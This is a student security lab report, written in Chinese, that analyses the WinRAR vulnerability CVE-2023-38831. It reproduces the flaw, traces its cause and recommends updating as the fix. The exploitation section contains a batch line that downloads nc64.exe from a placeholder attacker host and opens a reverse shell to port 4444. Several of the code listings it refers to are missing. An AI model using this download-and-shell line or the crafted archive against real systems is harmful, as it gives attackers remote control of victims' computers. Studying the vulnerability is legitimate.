1. 实验目的和要求
CVE(Common Vulnerabilities and Exposures)漏洞是一个网络安全技术术语,用于描述和标识信息安全领域的已知漏洞和安全风险。CVE是一个公开的列表或数据库,为各种公开知晓的信息安全漏洞和风险提供了标准化的名称。
通过选择一个已经公开的与Web安全相关的CVE漏洞作为研究对象,评估漏洞对系统安全性的具体影响,包括数据泄露、系统崩溃等,研究漏洞原理,根据官方或社区的推荐,应用漏洞的补丁或缓解措施,测试缓解措施的有效性。
漏洞编号:CVE-2023-38831
漏洞类型:逻辑漏洞
软件名称:RARLAB WinRAR模块名称:WinRAR.exe
历史漏洞:根据 vuldb 显示,历史漏洞并不是很多,能稳定利用的更是少之又少
系统:Win11
软件版本: wps、winrar(6.00)
poc:CVE-2023-38831-poc.rar(https://github.com/b1tg/CVE-2023-38831-winrar-exploit)
工具:Process Monitor、windbg、IDA、二进制分析工具
2. 实验步骤
CVE-2023-38831 WinRAR 逻辑漏洞原因分析
双击目录中的 CVE-2023-38831-poc.rar 文档,弹出 WinRAR 窗口后双击 CLASSIFIED_DOCUMENTS.pdf 文件,最后弹出计算器,复现成功
一级目录包括一个 PDF 文件和一个目录,名称都为 “CLASSIFIED_DOCUMENTS.pdf “
目录中是命名为 “CLASSIFIED_DOCUMENTS.pdf .cmd” 的文件,功能就是充当弹出计算器的有效载荷

Winrar用线程程序,应该是一个脚本,去执行了cmd,从而打开了计算器

双击 PDF 后 WinRAR 进程会向如下 Temp 中的目录创建两个文件,分别是 “CLASSIFIED_DOCUMENTS.pdf ” 和 “CLASSIFIED_DOCUMENTS.pdf .cmd” 文件,并且在创建文件之前会使用 QueryDirectory 函数进行查询,这两个文件的创建操作都是 WinRAR.exe 在同一地址进行的指令操作创建的

执行 cmd.exe 的操作同样是 WinRAR.exe 进程创建的,后面经过分析后发现是通过 ShellExecuteW 创建的

逆向分析


这里可以看见用到了ShellExecuteW

WinRAR使用API执行文件:ShellExecuteExW,这是shell32.dll导出的一个函数,该API的执行逻辑大致如下:

PathFindExtensionW是KernelBase.dll的一个导出函数,用于从一个文件名中提取出扩展名所在位置的字符串指针,如传入参数为“C:\Windows\test.exe”时,返回值为指向这个字符串的“.exe”位置的指针,这个函数的代码是这样的

原因:
首先 WinRAR 提取了二进制压缩文件后的目录和文件名称列表,包含一个目录、目录下的 .cmd 文件和 1 个 pdf 文件,之后将目录和 pdf 文件转换为绝对路径,然后在 Temp 目录下创建临时的 pdf 副本,目录则不会创建。一般情况下到此结束,但是 WinRAR 则会继续解析目录下的 .cmd 文件,并且在绝对路径转换的时候取消了原本拥有的目录。这就会导致 .cmd 文件和 pdf 文件在同一路径,并且最后在 ShellExecuteExW 执行时还带了空格,最后导致载荷触发
漏洞利用:
首先我们启动一个Kali虚拟机,将nc64.exe上传到虚拟机中相应的目录下,然后执行以下的代码,启动HTTP服务监听,让受害者的机器可以下载该程序,同时开启以下服务
我们在受害者的机器上制作一个script.bat执行文件,文件内容如下:

curl http://KaliIP:8000/nc64.exe -O nc64.exe & nc64.exe KaliIP 4444 -e cmd.exe -d & test.png
然后编写以下代码:

再将脚本放一起生成如下文件


当我们用winrar打开我们poc.zip的时候,点击png文件,就会执行我们的脚本

然后在kali上就会显示出被害者的终端

漏洞修复
将WinRAR软件版本更新至最新版本即可
No responses yet